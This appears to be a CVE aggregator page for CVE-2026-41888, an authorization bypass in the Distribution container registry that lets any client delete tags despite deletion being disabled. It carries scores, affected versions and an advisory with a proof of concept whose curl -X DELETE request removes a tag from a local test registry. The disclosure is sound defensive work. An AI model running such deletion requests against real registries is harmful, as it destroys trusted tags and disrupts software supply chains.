CVE-2026-41888
JSON

6.3medium

Distribution: Tag deletion bypasses `storage.delete.enabled` configuration

Severity
6.3medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.29% (higher than 23% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-6pjf-3r9x-m592BIT-DISTRIBUTION-2026-41888GO-2026-5185

Description

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.

Affected

Product or packageVersionsReported by
distribution distribution< 3.1.1, before 3.1.1CVE List, NVD
github.com/distribution/distribution/v3 (Go)before 3.1.1GitHub Advisory Database, Go Vulnerability Database
github.com/distribution/distribution (Go)up to 2.8.3, all versionsGitHub Advisory Database, Go Vulnerability Database
distribution (Bitnami)before 3.1.1Bitnami Vulnerability Database

All scores

GitHub_M6.3medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
NVD6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Bitnami Vulnerability Databasemedium rating

Classification

CWE-863

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.

GitHub Advisory Database
Summary

Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.

Details

When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.

However, tag deletion takes a separate code path that never checks this setting:

In registry/handlers/manifests.go:439-453, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.

In turn, tagStore.Untag() calls the storage driver directly to delete the tag path without checking whether deletes are enabled.

PoC

Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:

version: 0.1
storage:
  delete:
    enabled: false
  filesystem:
    rootdirectory: /var/lib/registry
http:
  addr: :5000

Start a local Distribution, mounting in the above configuration from the current directory:

docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml

In a separate terminal session/tab, push alpine:3.23 into the running instance:

docker pull alpine:3.23
docker tag alpine:3.23 localhost:5000/alpine:3.23
docker push localhost:5000/alpine:3.23

Confirm that the tag shows up as expected:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":["3.23"]}

Issue a delete for the 3.23 tag:

curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'

Observe that the tag is now gone, despite deletes being disabled:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":null}
Impact

This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.

Go Vulnerability Database

Distribution's tag deletion bypasses storage.delete.enabled configuration in github.com/distribution/distribution

NVD (es)

Distribución es un conjunto de herramientas para empaquetar, enviar, almacenar y entregar contenido de contenedores. Antes de 3.1.1, la eliminación de etiquetas a través del endpoint DELETE /v2/[name]/manifests/[tag] omite la configuración storage.delete.enabled: false, permitiendo a cualquier cliente de API eliminar etiquetas de los repositorios incluso cuando el operador ha deshabilitado explícitamente la eliminación. Esta vulnerabilidad se ha corregido en 3.1.1.

References

Related

Sources

SourceRecordLicence
CVE ListCVE-2026-41888 changed 2026-05-14CVE Terms of Use
GitHub Advisory DatabaseGHSA-6pjf-3r9x-m592 changed 2026-09-10CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5185 changed 2026-08-18CC-BY-4.0
NVDCVE-2026-41888 changed 2026-11-11Public domain
Bitnami Vulnerability DatabaseBIT-DISTRIBUTION-2026-41888 changed 2026-09-08Apache-2.0